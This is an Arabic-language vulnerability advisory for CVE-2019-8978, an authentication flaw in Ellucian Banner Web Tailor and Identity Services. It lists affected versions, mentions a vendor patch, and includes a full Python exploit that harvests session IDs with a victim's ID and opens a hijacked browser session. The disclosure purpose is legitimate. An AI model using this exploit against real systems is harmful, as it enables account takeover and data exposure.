معلومات

تاريخ الاكتشاف: 17 ديسمبر 2018
البائع: شركة Ellucian L.P.
الصفحة الرئيسية للبائع: https://www.ellucian.com
المنتجات: Banner Web Tailor و Banner Enterprise Identity Services
الإصدارات المتأثرة من Web Tailor: 8.8.3, 8.8.4, 8.9
الإصدارات المتأثرة من Banner Enterprise Identity Services: 8.3, 8.3.1, 8.3.2, 8.4
CVE: CVE-2019-8978

جدول المحتويات

الملخص التنفيذي
المنتج
التأثير والتوصيات

أ. التأثير

ب. التوصيات
التفاصيل الفنية

أ. الوصف الفني

ب. كود الاستغلال
الجدول الزمني للإفصاح
المراجع

1. الملخص التنفيذي

تم تحديد ثغرة سوء التحقق من الهوية (CWE-287) في Banner Web Tailor و Banner Enterprise Identity Services. تحدث هذه الثغرة عند استخدام SSO Manager كآلية التحقق من الهوية لـ Web Tailor، مما قد يؤدي إلى كشف المعلومات وفقدان سلامة البيانات للمستخدم(ين) المتأثر(ين). أكد البائع وجود الثغرة وأصدر تصحيحًا متاحًا الآن. لمزيد من المعلومات، انظر المنشورات على مجتمعات Ellucian: [الرابط لم يُقدم قبل الموعد النهائي] و Banner Enterprise Identity Services: [الرابط لم يُقدم قبل الموعد النهائي]. تحديث: إليك الرابط لقسم IAM: وهذا هو رابط اتصال ثغرة Banner Web Tailor و SSO Manager المنشور في مساحة مجتمع Banner العام ومجتمع Banner التقني - ]

""" exploit.py This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency. """ import re, time, sys, select, os from selenium import webdriver from requests_threads import AsyncSession requests_per_batch = 50 target_host = input("Please provide the target url (This is from the Web Tailor page post login): ") target_id = input("Please provide the ID, which in the case tested is the institutional ID: ") cookies = { 'IDMSESSID': target_id, } session = AsyncSession(n=requests_per_batch) async def _main(): final_sessid = "" os.system('cls' if os.name == 'nt' else 'clear') print("To quit press Enter") while True: rs = [] for _ in range(requests_per_batch): rs.append(await session.get(target_host, cookies=cookies)) for response in rs: for c in response.cookies: if (c.name == 'SESSID'): print(c.name, c.value) final_sessid = c.value if sys.stdin in select.select([sys.stdin], [], [], 0)[0]: line = input() break print("Last SESSID:", final_sessid) open_browser = input("Open a browser with this SESSID(y/n): ") if open_browser == "y": """ This feature requires a chromedriver for your operating system version. It can be found at https://sites.google.com/a/chromium.org/chromedriver/ Place it in the working directory of the exploit.py """ browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver")) browser.get(target_host) browser.add_cookie({ "domain": target_host.split("/")[2], "name": "SESSID", "value": final_sessid, }) browser.get(target_host) stay_open = input("Press enter to close") session.run(_main)

CVE-2019-8978

الأكثر شعبية

[CVE-2019-8978] سوء التحقق من الهوية (CWE-287) في Ellucian Banner Web Tailor و Banner Enterprise Identity Services

معلومات

جدول المحتويات

1. الملخص التنفيذي

2. المنتج

3. التأثير والتوصيات

أ. التأثير

ب. التوصيات

4. التفاصيل الفنية

أ. الوصف الفني

ب. كود الاستغلال

5. الجدول الزمني للإفصاح

6. المراجع